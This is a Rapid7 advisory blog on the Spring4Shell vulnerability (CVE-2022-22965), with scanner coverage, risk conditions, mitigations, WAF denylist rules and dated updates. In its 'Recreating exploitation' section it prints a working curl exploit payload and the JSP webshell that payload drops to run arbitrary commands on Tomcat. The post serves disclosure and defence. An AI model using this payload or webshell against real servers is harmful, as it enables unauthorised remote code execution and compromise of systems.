Spring4Shell: Zero-Day Vulnerability in Spring Framework - Rapid7

Last updated at Fri, 14 Jun 2024 20:28:33 GMT

Rapid7 has completed remediating the instances of Spring4Shell (CVE-2022-22965) and Spring Cloud (CVE-2022-22963) vulnerabilities that we found on our internet-facing services and systems. For further information and updates about our internal response to Spring4Shell, please see our post here.

If you are like many in the cybersecurity industry, any mention of a zero-day attack in an open-source software (OSS) library may cause a face-palm or audible groans, especially given the fast-follow from the Log4j vulnerability. While discovery and research is evolving, we’re posting the facts we’ve gathered and updating guidance as new information becomes available.

What to Expect from Spring4Shell

This is an evolving incident. Our team is continuing to investigate and validate additional information about this vulnerability and its impact. As of March 31, 2022, Spring has confirmed the zero-day vulnerability and has released Spring Framework versions 5.3.18 and 5.2.20 to address it. The vulnerability affects SpringMVC and Spring WebFlux applications running on JDK 9+. CVE-2022-22965 was assigned to track the vulnerability on March 31, 2022.

Our team will be updating this blog continually—please see the bottom of the post for updates.

Vulnerability Risk Management

InsightVM and Nexpose customers can scan their environments for vulnerable instances of Spring Framework via authenticated and remote checks. For the most accurate and comprehensive coverage, product version 6.6.136 of Nexpose or InsightVM is recommended. For InsightVM customers using the Insight Agent, version 3.1.4.49 of the agent is required to collect the necessary data.

The authenticated check (vulnerability ID spring-cve-2022-22965) will run on Unix-like systems and report on vulnerable versions of Spring Framework found within WAR files. Please note: The unzip utility is required to be installed on systems being scanned. The authenticated check is available immediately for Nexpose and InsightVM Scan Engines.

The remote check (vulnerability ID spring-cve-2022-22965-remote-http) triggers against any discovered HTTP(S) services and attempts to send a payload to common Spring-based web application paths in order to trigger an HTTP 500 response, which indicates a higher probability that the system is exploitable. We also have an authenticated Windows check available as of the April 7th content release, which requires the April 6th product release (version 6.6.135). More information on how to scan for Spring4Shell with InsightVM and Nexpose is available here.

The Registry Sync App and Container Image Scanner have been updated to support assessing new container images to detect Spring4Shell in container environments. Both registry-sync-app and container-image-scanner can now assess new Spring Bean packages versions 5.0.0 and later that are embedded in WAR files.

Application Security

A block rule is available to tCell customers (Spring RCE block rule) that can be enabled by navigating to Policies --> AppFw --> Blocking Rules. Check the box next to the Spring RCE block rule to enable, and click deploy. tCell will also detect certain types of exploitation attempts based on publicly available payloads, and will also alert customers if any vulnerable packages (such as CVE 2022-22965) are loaded by the application.

InsightAppSec customers can scan for Spring4Shell with the updated Remote Code Execution (RCE) attack module released April 1, 2022. For guidance on securing applications against Spring4Shell, read our blog here.

Cloud Security

InsightCloudSec supports detection and remediation of Spring4Shell (CVE-2022-22965) in multiple ways. The new container vulnerability assessment capabilities in InsightCloudSec allow users to detect vulnerable versions of Spring Java libraries in containerized environments. For customers who do not have container vulnerability assessment enabled, our integration with Amazon Web Services (AWS) Inspector 2.0 allows users to detect the Spring4Shell vulnerability in their AWS environments.

If the vulnerability is detected in a customer environment, they can leverage filters in InsightCloudSec to focus specifically on the highest risk resources, such as those on a public subnet, to help prioritize remediation. Users can also create a bot to either automatically notify resource owners of the existence of the vulnerability or automatically shut down vulnerable instances in their environment.

InsightIDR and Managed Detection and Response

While InsightIDR does not have a direct detection available for this exploit, we do have behavior- based detection mechanisms in place to alert on common follow-on attacker activity.

Introduction

Our team is continuing to investigate and validate additional information about this vulnerability and its impact. This is a quickly evolving incident, and we are researching development of both assessment capabilities for our vulnerability management and application security solutions and options for preventive controls. As additional information becomes available, we will evaluate the feasibility of vulnerability checks, attack modules, detections, and Metasploit modules.

While Rapid7 does not have a direct detection in place for this exploit, we do have behavior- based detection mechanisms in place to alert on common follow-on attacker activity. tCell will also detect certain types of exploitation based on publicly available payloads.

As of March 31, 2022, Spring has confirmed the zero-day vulnerability and has released Spring Framework versions 5.3.18 and 5.2.20 to address it. The vulnerability affects SpringMVC and Spring WebFlux applications running on JDK 9+. CVE-2022-22965 was assigned to track the vulnerability on March 31, 2022.

Our team will be updating this blog continually—please see the bottom of the post for updates. Our next update will be at noon EDT on March 31, 2022.

On March 30, 2022, rumors began to circulate about an unpatched remote code execution vulnerability in Spring Framework when a Chinese-speaking researcher published a GitHub commit that contained proof-of-concept (PoC) exploit code. The exploit code targeted a zero-day vulnerability in the Spring Core module of the Spring Framework. Spring is maintained by Spring.io (a subsidiary of VMWare) and is used by many Java-based enterprise software frameworks. The vulnerability in the leaked proof of concept, which appeared to allow unauthenticated attackers to execute code on target systems, was quickly deleted.

A lot of confusion followed for several reasons: First, the vulnerability (and proof of concept) isn’t exploitable with out-of-the-box installations of Spring Framework. The application has to use specific functionality, which we explain below. Second, a completely different unauthenticated RCE vulnerability was published March 29, 2022 for Spring Cloud, which led some in the community to conflate the two unrelated vulnerabilities.

Rapid7’s research team can confirm the zero-day vulnerability is real and provides unauthenticated remote code execution. Proof-of-concept exploits exist, but it’s currently unclear which real-world applications use the vulnerable functionality. As of March 31, Spring has also confirmed the vulnerability and has released Spring Framework versions 5.3.18 and 5.2.20 to address it. It affects Spring MVC and Spring WebFlux applications running on JDK 9+.

Known risk

The following conditions map to known risk so far:

Any components using Spring Framework versions before 5.2.20, 5.3.18 AND JDK version 9 or higher are considered potentially vulnerable;
Any components that meet the above conditions AND are using @RequestMapping annotation and Plain Old Java Object (POJO) parameters are considered actually vulnerable and are at some risk of being exploited;
Any components that meet the above conditions AND are running Tomcat are currently most at risk of being exploited (due to readily available exploit code that is known to work against Tomcat-based apps).

Recreating exploitation

The vulnerability appears to affect functions that use the @RequestMapping annotation and POJO (Plain Old Java Object) parameters. Here is an example we hacked into a Springframework MVC demonstration:

package net.javaguides.springmvc.helloworld.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.InitBinder;
import org.springframework.web.bind.annotation.RequestMapping;

import net.javaguides.springmvc.helloworld.model.HelloWorld;

/**
 * @author Ramesh Fadatare
 */
@Controller
public class HelloWorldController {

	@RequestMapping("/rapid7")
	public void vulnerable(HelloWorld model) {
	}
}

Here we have a controller (HelloWorldController) that, when loaded into Tomcat, will handle HTTP requests to http://name/appname/rapid7. The function that handles the request is called vulnerable and has a POJO parameter HelloWorld. Here, HelloWorld is stripped down but POJO can be quite complicated if need be:

package net.javaguides.springmvc.helloworld.model;

public class HelloWorld {
	private String message;
}

And that’s it. That’s the entire exploitable condition, from at least Spring Framework versions 4.3.0 through 5.3.15. (We have not explored further back than 4.3.0.)

If we compile the project and host it on Tomcat, we can then exploit it with the following curl command. Note the following uses the exact same payload used by the original proof of concept created by the researcher (more on the payload later):

curl -v -d "class.module.classLoader.resources.context.parent.pipeline
.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%
22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRunt
ime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%
20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20
while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7
D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context
.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources
.context.parent.pipeline.first.directory=webapps/ROOT&class.module.cl
assLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&cl
ass.module.classLoader.resources.context.parent.pipeline.first.fileDat
eFormat=" http://localhost:8080/springmvc5-helloworld-exmaple-0.0.1-
SNAPSHOT/rapid7

This payload drops a password protected webshell in the Tomcat ROOT directory called tomcatwar.jsp, and it looks like this:

- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in
= -.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))3D-1){ out.
println(new String(b)); } } -

Attackers can then invoke commands. Here is an example of executing whoami to get albinolobster:

The Java version does appear to matter. Testing on OpenJDK 1.8.0_312 fails, but OpenJDK 11.0.14.1 works.

About the payload

The payload we’ve used is specific to Tomcat servers. It uses a technique that was popular as far back as the 2014, that alters the Tomcat server’s logging properties via ClassLoader. The payload simply redirects the logging logic to the ROOT directory and drops the file + payload. A good technical write up can be found here.

This is just one possible payload and will not be the only one. We’re certain that malicious class loading payloads will appear quickly.

Mitigation guidance

As of March 31, 2022, CVE-2022-22965 has been assigned and Spring Framework versions 5.3.18 and 5.2.20 have been released to address it. Spring Framework users should update to the fixed versions starting with internet-exposed applications that meet criteria for vulnerability (see Known Risk). As organizations build an inventory of affected applications, they should also look to gain visibility into process execution and application logs to monitor for anomalous activity.

Further information on the vulnerability and ongoing guidance are being provided in Spring’s blog here. The Spring documentation for DataBinder explicitly notes that:

…there are potential security implications in failing to set an array of allowed fields. In the case of HTTP form POST data for example, malicious clients can attempt to subvert an application by supplying values for fields or properties that do not exist on the form. In some cases this could lead to illegal data being set on command objects or their nested objects. For this reason, it is highly recommended to specify the allowedFields property on the DataBinder.

Therefore, one line of defense would be to modify source code of custom Spring applications to ensure those field guardrails are in place. Organizations that use third-party applications susceptible to this newly discovered weakness cannot take advantage of this approach.

If your organization has a web application firewall (WAF) available, profiling any affected Spring-based applications to see what strings can be used in WAF detection rulesets would help prevent malicious attempts to exploit this weakness.

If an organization is unable to patch or use the above mitigations, one failsafe option is to model processes executions on systems that run these Spring-based applications and then monitor for anomalous, “post-exploitation” attempts. These should be turned into alerts and acted upon immediately via incident responders and security automation. One issue with this approach is the potential for false alarms if the modeling was not comprehensive enough.

Vulnerability disambiguation

There has been significant confusion about this zero-day vulnerability because of an unrelated vulnerability in another Spring project that was published March 29, 2022. That vulnerability, CVE-2022-22963, affects Spring Cloud Function, which is not in Spring Framework. Spring released version 3.1.7 & 3.2.3 to address CVE-2022-22963 on March 29.

Further, yet another vulnerability CVE-2022-22950 was assigned on March 28. A fix was released on the same day. To keep things confusing, this medium severity vulnerability (which can cause a DoS condition) DOES affect Spring Framework versions 5.3.0 - 5.3.16.

Updates

March 30, 2020 - 9PM EDT

The situation continues to evolve but Spring.IO has yet to confirm the vulnerability. That said, we are actively testing exploit techniques and combinations. In the interim for organizations that have large deployments of the core Spring Framework or are in use for business critical applications we have validated the following two mitigations. Rapid7 Labs has not yet seen evidence of exploitation in the wild.

WAF Rules

Referenced previously and reported elsewhere for organizations that have WAF technology, string filters offer an effective deterrent, "class.", "Class.", ".class.", and ".Class.". These should be tested prior to production deployment but are effective mitigation techniques.

Spring Framework Controller advice

Our friends at Praetorian have suggested a heavy but validated mitigation strategy by using the Spring Framework to disallow certain patterns. In this case any invocation containing “class”. Praetorian example is provided below. The heavy lift requires recompiling code, but for those with few options it does prevent exploitation.

import org.springframework.core.Ordered;
import org.springframework.core.annotation.Order;
import org.springframework.web.bind.WebDataBinder;
import org.springframework.web.bind.annotation.ControllerAdvice;
import org.springframework.web.bind.annotation.InitBinder;

@ControllerAdvice
@Order(10000)
public class BinderControllerAdvice {
@InitBinder
public void setAllowedFields(WebDataBinder dataBinder) {
String[] denylist = new String[]{"class.", "Class.", ".class.", ".Class."};
dataBinder.setDisallowedFields(denylist);
}
}

March 31, 2022 - 7 AM EDT

As of March 31, 2022, Spring has confirmed the zero-day vulnerability and is working on an emergency release. The vulnerability affects SpringMVC and Spring WebFlux applications running on JDK 9+.

Our next update will be at noon EDT on March 31, 2022.

March 31, 2022 - 10 AM EDT

CVE-2022-22965 has been assigned to this vulnerability. As of March 31, 2022, Spring has confirmed the zero-day vulnerability and has released Spring Framework versions 5.3.18 and 5.2.20 to address it.

March 31, 2022 - 12 PM EDT

We have added a Known Risk section to the blog to help readers understand the conditions required for applications to be potentially or known vulnerable.

Our team is testing ways of detecting the vulnerability generically and will update on VM and appsec coverage feasibility by 4 PM EDT today (March 31, 2022).

March 31, 2022 - 4 PM EDT

tCell will alert customers if any vulnerable packages (such as CVE 2022-22965) are loaded by the application. The tCell team is also working on adding a specific detection for Spring4Shell. An InsightAppSec attack module is under development and will be released to all application security customers (ETA April 1, 2022). We will publish additional guidance and detail for application security customers tomorrow, on April 1.

InsightVM customers utilizing Container Security can now assess containers that have been built with a vulnerable version of Spring. At this time we are not able to identify vulnerable JAR files embedded with WAR files in all cases, which we are working on improving. Our team is continuing to test ways of detecting the vulnerability and will provide another update on the feasibility of VM coverage at 9 PM EDT.

March 31, 2022 - 9 PM EDT

Multiple reports have indicated that attackers are scanning the internet for applications vulnerable to Spring4Shell. There are several reports of exploitation in the wild. SANS Internet Storm Center confirmed exploitation in the wild earlier today.

Our team is working on both authenticated and remote vulnerability checks for InsightVM and Nexpose customers. We will provide more specific ETAs in our next update at 11 AM EDT on April 1.

April 1, 2022 - 11 AM EDT

Our team is continuing to test ways of detecting CVE-2022-22965 and expects to have an authenticated check for Unix-like systems available to InsightVM and Nexpose customers in today’s (April 1) content release. We are also continuing to research remote check capabilities and will be working on adding InsightAgent support in the coming days. Our next update will be at 3 PM EDT on April 1, 2022.

For information and updates about Rapid7’s internal response to Spring4Shell, please see our post here. At this time, we have not detected any successful exploit attempts in our systems or solutions.

April 1, 2022 - 3 PM EDT

Our team intends to include an authenticated check for InsightVM and Nexpose customers in a content-only release this evening (April 1). We will update this blog at or before 10 PM EDT with the status of that release.

As of today, a new block rule is available to tCell customers (Spring RCE block rule) that can be enabled by navigating to Policies --> AppFw --> Blocking Rules. Check the box next to the Spring RCE block rule to enable, and click deploy.

April 1 - 7:30 PM EDT

InsightVM and Nexpose customers can now scan their environments for Spring4Shell with authenticated and remote checks for CVE-2022-22965. The authenticated check (vulnerability ID spring-cve-2022-22965) will run on Unix-like systems and report on vulnerable versions of the Spring Framework found within WAR files. Please note: The unzip utility is required to be installed on systems being scanned. The authenticated check is available immediately for Nexpose and InsightVM Scan Engines. We are also targeting an Insight Agent release next week to add support for the authenticated Unix check.

Our team is actively working on a Windows authenticated check as well as improvements to the authenticated Unix and remote checks. More information on how to scan for Spring4Shell with InsightVM and Nexpose is available here.

InsightAppSec customers can now scan for Spring4Shell with the updated Remote Code Execution (RCE) attack module. A blog is available on securing your applications against Spring4Shell.

April 4 - 2 PM EDT

Application Security customers with on-prem scan engines now have access to the updated Remote Code Execution (RCE) module which specifically tests for Spring4Shell.

Our next update will be at 6 PM EDT.

April 4 - 6 PM EDT

Our team is continuing to actively work on a Windows authenticated check as well as accuracy improvements to both the authenticated Unix and remote checks.

Our next update will be at or before 6pm EDT tomorrow (April 5).

April 5 - 6 PM EDT

A product release of InsightVM (version 6.6.135) is scheduled for tomorrow, April 6, 2022. It will include authenticated Windows fingerprinting support for Spring Framework when “Enable Windows File System Search” is configured in the scan template. A vulnerability check making use of this fingerprinting will be released later this week.

We have also received some reports of false positive results from the remote check for CVE-2022-22965; a fix for this is expected in tomorrow’s (April 6) content release. This week’s Insight Agent release, expected to be generally available on April 7, will also add support for the authenticated Unix check for CVE-2022-22965.

April 6 - 6 PM EDT

Today’s product release of InsightVM (version 6.6.135) includes authenticated Windows fingerprinting support for Spring Framework when “Enable Windows File System Search” is configured in the scan template. A vulnerability check making use of this fingerprinting will be released later this week.

Today’s content release, available as of 6pm EDT, contains a fix for false positives some customers were experiencing with our remote (HTTP-based) check when scanning Microsoft IIS servers.

This week’s Insight Agent release (version 3.1.4.48), expected to be generally available by Friday April 8, will add data collection support for the authenticated check for CVE-2022-22965 on macOS and Linux. A subsequent Insight Agent release will include support for the authenticated Windows check.

April 7 - 5:30 PM EDT

Today’s content release for InsightVM and Nexpose (available as of 4:30pm EDT) contains a new authenticated vulnerability check for Spring Framework on Windows systems. The April 6 product release (version 6.6.135) is required for this check. Note that this functionality requires the “Enable Windows File System Search” option to be set in the scan template.

This week’s Insight Agent release (version 3.1.4.48), which will be generally available tomorrow (April 8), will add data collection support for the authenticated check for CVE-2022-22965 on macOS and Linux. A subsequent Insight Agent release will include support for the authenticated Windows check.

April 8 - 3 PM EDT

The Insight Agent release (version 3.1.4.48) to add data collection support for Spring4Shell on macOS and Linux is now expected to be available starting the week of April 11, 2022.

April 13 – 5 PM EDT

Today’s product release of InsightVM and Nexpose (version 6.6.136) includes macOS, Linux, and Windows authenticated checks for CVE-2022-22963 (affecting Spring Cloud).

Version 3.1.4.48 of the Insight Agent became generally available on April 8. We apologize for the previous update indicating that it wouldn’t be available until April 11. This release added data collection support for Spring4Shell on macOS and Linux systems.

The next release of the Insight Agent (version 3.1.4.49) will have data collection support for Spring4Shell on Windows systems. It will also include data collection support for CVE-2022-22963 on macOS, Linux, and Windows. This release is currently targeted for tomorrow, April 14, contingent on QA results.

April 14 – 2:30 PM EDT

Today’s release of the Insight Agent (version 3.1.4.49) is generally available as of 1 PM EDT and adds data collection support for Spring4Shell on Windows systems. It also includes data collection support for CVE-2022-22963 (Spring Cloud) on macOS, Linux, and Windows.

Download Rapid7's Annual Vulnerability Intelligence Report ▶︎

Spring4Shell: Zero-Day Vulnerability in Spring Framework (CVE-2022-22965)